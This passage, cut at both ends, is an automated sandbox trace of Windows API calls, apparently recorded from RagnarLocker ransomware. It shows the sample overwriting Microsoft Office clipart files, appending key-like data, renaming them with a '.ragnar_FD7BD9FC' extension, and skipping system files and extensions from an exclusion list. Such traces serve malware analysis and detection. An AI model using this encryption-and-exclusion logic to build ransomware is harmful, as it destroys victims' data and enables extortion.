dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.798] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20444) returned 1 [0083.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4fd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.798] GetProcessHeap () returned 0x580000 [0083.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.798] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.799] VirtualAlloc (lpAddress=0x0, dwSize=0x4fdc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.800] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4fdc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4fdc, lpOverlapped=0x0) returned 1 [0083.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.801] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4fdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.801] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4fdc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4fdc, lpOverlapped=0x0) returned 1 [0083.801] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4fdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.801] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4fdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.801] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.802] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.802] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.802] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.802] GetProcessHeap () returned 0x580000 [0083.802] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.802] CloseHandle (hObject=0xf4) returned 1 [0083.802] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" [0083.802] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.ragnar_FD7BD9FC" [0083.802] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.803] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0083.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.803] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105412.WMF" | out: lpString1="J0105412.WMF") returned="J0105412.WMF" [0083.803] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned=".WMF" [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="autorun.inf") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="boot.ini") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="bootfont.bin") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="bootsect.bak") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="bootmgr") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="bootmgr.efi") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="bootmgfw.efi") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="desktop.ini") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="iconcache.db") returned 1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="ntldr") returned -1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="ntuser.dat") returned -1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="ntuser.dat.log") returned -1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="ntuser.ini") returned -1 [0083.803] lstrcmpiW (lpString1="J0105412.WMF", lpString2="thumbs.db") returned -1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.803] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0083.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.804] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9400) returned 1 [0083.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.804] GetProcessHeap () returned 0x580000 [0083.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.804] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.805] VirtualAlloc (lpAddress=0x0, dwSize=0x24b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.806] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x24b8, lpOverlapped=0x0) returned 1 [0083.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.807] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.807] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x24b8, lpOverlapped=0x0) returned 1 [0083.807] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.807] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.807] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.807] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.807] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.807] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.807] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.807] GetProcessHeap () returned 0x580000 [0083.807] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.807] CloseHandle (hObject=0xf4) returned 1 [0083.808] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" [0083.808] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.ragnar_FD7BD9FC" [0083.808] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.808] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0083.808] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.808] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105414.WMF" | out: lpString1="J0105414.WMF") returned="J0105414.WMF" [0083.808] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned=".WMF" [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="autorun.inf") returned 1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="boot.ini") returned 1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="bootfont.bin") returned 1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="bootsect.bak") returned 1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="bootmgr") returned 1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="bootmgr.efi") returned 1 [0083.808] lstrcmpiW (lpString1="J0105414.WMF", lpString2="bootmgfw.efi") returned 1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="desktop.ini") returned 1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="iconcache.db") returned 1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="ntldr") returned -1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="ntuser.dat") returned -1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="ntuser.dat.log") returned -1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="ntuser.ini") returned -1 [0083.809] lstrcmpiW (lpString1="J0105414.WMF", lpString2="thumbs.db") returned -1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.809] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0083.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.809] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6244) returned 1 [0083.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x185b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.809] GetProcessHeap () returned 0x580000 [0083.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.809] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.811] VirtualAlloc (lpAddress=0x0, dwSize=0x1864, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.811] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1864, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1864, lpOverlapped=0x0) returned 1 [0083.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1864, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.812] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1864, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1864, lpOverlapped=0x0) returned 1 [0083.812] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.812] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.813] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.813] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.813] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.813] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.813] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.813] GetProcessHeap () returned 0x580000 [0083.813] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.813] CloseHandle (hObject=0xf4) returned 1 [0083.813] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" [0083.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.ragnar_FD7BD9FC" [0083.813] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.814] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0083.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.814] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105490.WMF" | out: lpString1="J0105490.WMF") returned="J0105490.WMF" [0083.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned=".WMF" [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="autorun.inf") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="boot.ini") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="bootfont.bin") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="bootsect.bak") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="bootmgr") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="bootmgr.efi") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="bootmgfw.efi") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="desktop.ini") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="iconcache.db") returned 1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="ntldr") returned -1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="ntuser.dat") returned -1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="ntuser.dat.log") returned -1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="ntuser.ini") returned -1 [0083.814] lstrcmpiW (lpString1="J0105490.WMF", lpString2="thumbs.db") returned -1 [0083.814] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.814] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.814] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.814] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.814] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.814] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.815] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0083.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.815] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18728) returned 1 [0083.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x491f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.815] GetProcessHeap () returned 0x580000 [0083.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.815] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.817] VirtualAlloc (lpAddress=0x0, dwSize=0x4928, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 